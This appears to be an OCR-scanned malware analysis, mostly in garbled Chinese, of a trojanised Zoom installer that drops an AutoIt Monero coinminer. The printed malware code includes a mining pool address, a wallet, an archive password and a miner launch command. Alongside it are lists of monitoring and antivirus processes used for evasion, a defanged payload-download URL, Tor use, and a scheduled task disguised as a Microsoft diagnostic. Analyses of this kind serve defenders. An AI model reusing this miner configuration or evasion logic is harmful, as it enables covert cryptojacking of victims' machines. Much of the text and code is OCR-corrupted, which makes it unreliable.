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Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for x64-based Systems


http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/Pattern/
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0x0000001DSSTRAT_="tcp"

0x0000001D$POOL="po0l . supportxmr.com: 3333"
0x0000001DSWALLET="4JUdGzvrMFDWrUUwY3toJATSeNwin54LkCnKBPRzDuhzi S5vSepHfUckJNXRL2g] kNxrSqtCoRUrEDAgRWsQvVC) ZbS1u9gUUcninRWEASRE"
0x0000001DSAPROCESS []=["taskmgr.exe", "ProcessHacker.exe", "procexp.exe", "procexpé64.exe”, "perfmon.exe", "VirusTotalUpload2.exe", "HWiNFO32.exe",
"aida64.exe", "SystemExplorer.exe”, "OpenHardwareMonitor.exe"”, "pchunter64.exe", "HWiNFO64 .exe", "GPU-
Z.exe","AnVir.exe","anvir64.exe", "RealTenp.exe”, "RealTempGT.exe", "i7RealTempGT . exe"”, "speedfan.exe", "Processlasso.exe"]
0x0000001DSUPDDIR="public/upd.txt"

0x0000001DSMNDIR="public/64/64.txt"

0x0000001D$G_MNDIRA="public/vc/amd.txt"”

0x0000001D$G_MNDIRN="public/vc/nvidia.txt”

0x0000001DSARCHPASS="DxSqsNKKOxXqPrM4Y3xeK"

0x0000001DSG_STORFILENAME="tor.exe"

0x0000001D$G_ITORPID=+0XFFFFFFFF

0x0000001D$G_IMINEPID=+OxXFFFFFFFF

0x0000001D$G_GPUMINEPID=+0XxFFFFFFFF

0x0000001D$G_TIME=0x000003E€+*0x0000003C*0x00000002

0x0000001D$G_ISCCKSPORT=0x00002457

0x0000001D$G_GPUMINECHECK=0x00000000

0x000000040x0000005F (@SCRIPTDIRA" \gmn. fail"™) 0x00000005

0x0000001D$G_GPUMINECHECK=0x00000001

0x00000008

2y vt et sy o e

S$THREADS="-t "&0x00000118 ($THREADSS50)
$G IMINEPID= RUNBINARY (SMNFILER, SCRYPT&" ‘-0 -stratum+"&S$SSTRAT &"://"&SPOOL&"™ -—u ""&SWALLETE""&SRANDE" --p "X

"&STHREADS&" ", GWINDOWSDIR&"\System32\attrib.exe")
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ARETHEBEERMHN Zoom 2B F, HESTH Autolt RIFENTERYE, TEX2BHBEA
Trojan.Win32.MOOZ.THCCABO, &Sl BRI :
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64.exe #AEM9 Coinminer.Win64.MOOZ.THCCABO
asacpiex.dll (g5 MNFHH % Coinminer.Win64.MOOZ.THCCABO HE

NULL) Ve

CR Debug Log.txt (Ei#aEI 5 8% Coinminer.Win64.MOOZ.THCCABO K9 =
DNFETHY asacpiex.dll) FET 1

CL Debug Log.txt 7-zip Archiver

SystemCheck.xml BFtRIES

Zoomlnstaller.exe G5 Zoom REFEFMRAS 4.4.0.0



Name Date modified Type Size
|, 725CA1CE178 3/31/2020 1:39PM File folder

(27 64.exe 3/31/2020 1:39 PM Application 7,409 KB
|%)| asacpiex.dll 3/31/2020 1:37PM Application extension 6,807 KB
|| aut6S0E.tmp 3/31/2020 1:37PM TMP File 6,807 KB
| autA1A2.tmp 3/31/2020 1:38 PM TMP File 450 KB
| autAE7F.tmp 3/31/2020 1:33 PM TMP File 11,034KB
|| Cab&D38.tmp 3/31/2020 1:383 PM TMP File 57 KB
|| Cab55DD.tmp 3/31/2020 1:37PM TMP File 57 KB
|| Cab58EB.tmp 3/31/2020 1:37PM TMP File 57KB
|| CL_Debug_Log.txt 3/31/2020 1:38 PM Text Document 723KB
|| CR_Debug_Log.txt 3/31/2020 1:38 PM Text Document 6,807 KB
|2 SystemCheck.xml 3/31/2020 1:33PM XML Document 3KB
|| Tar6D33.tmp 3/31/2020 1:383 PM TMP File 143KB
|| Tar55DE.tmp 3/31/2020 1:37PM TMP File 143KB
|_| Tar58EC.tmp 3/31/2020 1:37PM TMP File 143 KB
) zoomiInstaller.exe 3/31/2020 1:38 PM Application 11,034KB

—) O

zoom installer 4.4.0.0
"%
— 3 |
G on
CL_Debug_log.txt / 7-zip archiver
-
—— — 8 — QO [a
asacpiex.dll Change first 5 bytes g4 exe 7-zip archiver

and save as
CR_debug_log.txt
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Tor binaries

for coinmining

asascpiex.dll SHRIRIASHES B 79 0x37 0x7A 0xBC OXAF 0x27, IRBBZSER 7zip FE4EX M, AT BHRHEIREIH ST 4R,
H2{HER 0x00 BHEFIASA4R 5 NF Ty, BIRFERISHaE# 9 CR_Debug_log.txt, %34T HEEBEBIRIFAISIE,



B " Hiew: asacpiex.dll

06060000 :
00000010

80060606
0000
JGOG

B " Hiew: asacpiex.dll

D:\case'z ryac vl Ll | JFUQ -------- 20006605
060660 , - ~a " A EA OO ' .
0000
00000062

00060
00000
0000

[asacpiex.dll XHERER]

IZmSIET cpuinfo IRGAERAMTRAREDRE 64 (U, WIRRE 64 (RS, EIGER 64.exe X, BRIZRSASHF 32 UFRSF.

", QUSERPROFILEDIR&"\AppData\"&Ss

/ (€TEMPDIR&"\ 64 .exe", QUSERPROFILEDIR&" \AppData\ " &SDIREXESETU

FILECOPY (@TEMPDIR&"\32.exe", QUSERPROFILEDIR&"\AppData\"&SDIREXESETUP&SEXESETUPNAMES" .exe", 0x
ENDIF

[64.exe (XASEE]

ZimE{#EF Windows Management Instrumentation W5 GPU (58, ERIEGX CPU, BERGFIRA, WStzHI2sF0atE
SBHFAER, XUHERIET mEXTRER.

(feEEE R FIRRFAESR ]

RSN R AP EERSEF Microsoft SmartScreen #] Windows Defender, LR RFHEE DS TIATLLMAHER
HAE:

o

AvastUl.exe / AvastSvc.exe avp.exe / avpui.exe dwengine.exe

avguix.exe / AVGUl.exe equi.exe / ekrn.exe MBAMService.exe




NoLD"
Kaspexrsky"

("smartscreen.exe")THEN S$55="YES"

MUYV RN =" ) OR PROCESSEXISTS ("MSASCuiL.exe")THEN SDEF="YES"

(HENRRPE TSR GHE]

ZmEEIT HTTP GET request, BWERMSERIZE] hxxps://2no.co/TIRnc:

CR Debug log.txt 2

(i@ HTTP GET request &3i%— URL]

7zip E4E X H, H B & payload 6dexe, iZ X 4 E @ & /5 helperexe ,

FENR

Fl|%appdata%\Roaming\Microsoft\Windows\H%®, iXZ—> Autolt miEfIEERY, HPES 7-Zip BFIZEZBRFL
[E48 Tor Z#tHIXM. ATIRFEFAN, HiER-SystemCheck S#EEES.

© Create Task

General |Triggers| Actionsl Conditionsl Settingsl

Name:

Location:
Author:

Description:

—Security options

lSystemCheck
\

Microsoft Corporation

Starts a system diagnostics application to scan for errors and performance problems.

[-SystemCheck it%IAYESHIA]

X




x4
'Generall Triggers Actions ICond'rtionsI Settingsl

When you create a task, you must specify the action that will occur when your task starts.

Action | Details |
Starta.. "%userprofile?:\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck

[-SystemCheck it %HESS-#21E]
ERHRMESB5N helper.exe f7, EiE#FR-SystemCheck91137 284ES.

IF

GPU Graph | Threads I TCP/IP I Security l Environment | Strings
Image | performance | Performance Graph |  Diskand Network
Image File

[H

Version: 0.0.0.0
Build Time: Tue Mar 31 03:16:55 2020

Path:
C:\Users\ * T ~ ” AppData\Roaming WMicrosoft\Windows\Hel
Command.line;

.ppbéfa\ioaming WfaosoftiWindowsWéiper. exe” -S&stemChed@ 1137
“Current airectory:
C:\Users\, & "\AppData' \QoamingWicrosoft\Windows\
Autostart Location:
Task Scheduler\SystemCheck Explore

Parent: <Non-existent Process >(3860) 5
Verify
User: W7X64\win7x64

Started: 4:3L21PM 4/2/2020  Image:e4bit  (ungfoFront
Comment: I

VirusTotal: Submit

Data Execution Prevention (DEP) Status: Enabled

Address Space Load Randomization: Enabled
Control Flow Guard:

o J [ concel |

AT LRGN, helper.exe FIMTARSPESIEAIE T NHE, XEHEGFEZETEHE, DIRGEET EEMTE:

aidab4.exe AnVir.exe anvir64.exe GPU-Z.exe
HWINFO64.exe i7RealTempGT.exe OpenHardwareMonitor.exe HWINFO32.exe
pchunter64.exe perfmon.exe ProcessHacker.exe ProcessLasso.exe
procexp.exe procexpb64.exe RealTemp.exe RealTempGT.exe
speedfan.exe SystemExplorer.exe | taskmgr.exe VirusTotalUpload

2.exe
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